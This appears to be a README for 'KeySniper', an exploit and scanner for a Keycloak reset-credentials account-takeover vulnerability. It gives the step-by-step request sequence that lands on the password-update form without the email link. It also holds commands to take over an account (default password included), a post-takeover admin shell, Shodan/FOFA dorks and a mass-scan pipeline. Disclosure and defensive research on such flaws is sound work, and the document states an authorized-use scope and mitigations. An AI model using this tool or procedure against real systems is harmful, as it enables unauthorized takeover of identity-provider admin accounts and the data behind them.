
**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.

Author: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — unauthenticated Keycloak account takeover via the reset-credentials flow.
KeySniper is a production-oriented scanner for in-scope bug bounty and authorized assessments: live radar output, realm discovery, detect vs takeover, interactive post-ATO shell, and stdin pipeline (subfinder → httpx → KeySniper).
Default mode is detect (--takeover 0). --takeover 1 changes the account password on the target.
| Field | Value |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Weak Password Recovery Mechanism |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Product | Keycloak / Red Hat SSO |
| Fixed in | 26.7.2, 26.6.6, 26.4.15 |
| Auth | None |
Two bugs are chained:
tryAnotherWay stores a generic "true" selector note that is not scoped to the execution ID.ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.Result: an unauthenticated caller can force the password-reset flow for a known username and land on UPDATE_PASSWORD without clicking the email link.
The scan is not “forgot-password exists”. Confirm is:
execution= UUID changes (email execution leaked)kc-passwd-update-formexec3 = 28e2cd30-… (first selector)
exec6 = 8fd21174-… (pivot GET)
UPDATE_PASSWORD
[radar] log (Location, JS, headers, realm probe)302 Location + HTML/JS + well-known + wordlist/auth prefix auto-detecthttpx / subfinder--takeover 0 detect only--takeover 1 set password (default SelaM1337@@)--shell interactive token / admin API helper after ATOVULN / ATO red, SAFE green, SKIP yellowpython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+.
# detect (no password change)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# takeover + interactive shell
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / user
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# pipeline
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# list file
python3 KeySniper.py -l urls.txt --takeover 0 -q
Do not pass --takeover 1 or --shell on a pipeline dump.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ forgot-password href (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (if present)
[6] GET original reset-credentials URL (pivot)
→ selector re-render + new execution=
[7] POST stale selector (no action token)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (only if --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update is not counted as VULN.
Opens only after [ATO] on a single target:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Uses resource-owner password grant (admin-cli, then account).
HTTP 403 on /admin/realms means Direct Access Grants / admin role is limited — ATO can still be valid.
/realms/master then /auth/realms/masterLocation, HTML, JS, "realm":, issuer/realms/{name} returns 200 + Keycloak body/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (program scope):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ is ignored unless the body has issuer / public_key / login-actionsSKIP (realm has reset disabled)kc-passwd-update-form → SKIPhttpx paths are stripped to origin (/auth kept)Keycloak < 26.7.2 (also 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigation: disable Forgot Password on every realm, then upgrade.
Screenshot in this repo is redacted (sso.lab.local placeholder). Tokens, passwords, emails, and real hosts are not published.
Mitsec
X: x.com/ynsmroztas
Research use on in-scope authorized targets. Keep --takeover 1 off unscoped hosts.
| Flag | Default | Meaning |
|---|
-u URL | — | Single target |
-l FILE | — | URL list |
| stdin | auto | httpx lines (first field = URL) |
--takeover 0|1 | 0 | Detect vs change password |
-U USER | admin | Target username |
-r REALM | auto | Force realm or discover |
--pass | SelaM1337@@ | New password if takeover=1 |
-t N | 4 | Pipeline threads |
-q | off | Results only |
--shell | off | Post-ATO shell (single target) |
| Status | Meaning |
|---|
VULN | Pivot + UPDATE_PASSWORD (password not changed) |
ATO | Step 8 succeeded |
SAFE | Reset open, no stale selector (patched) |
SKIP | Not Keycloak / reset disabled / leak without UPDATE form |
FAIL | Network / unexpected exception |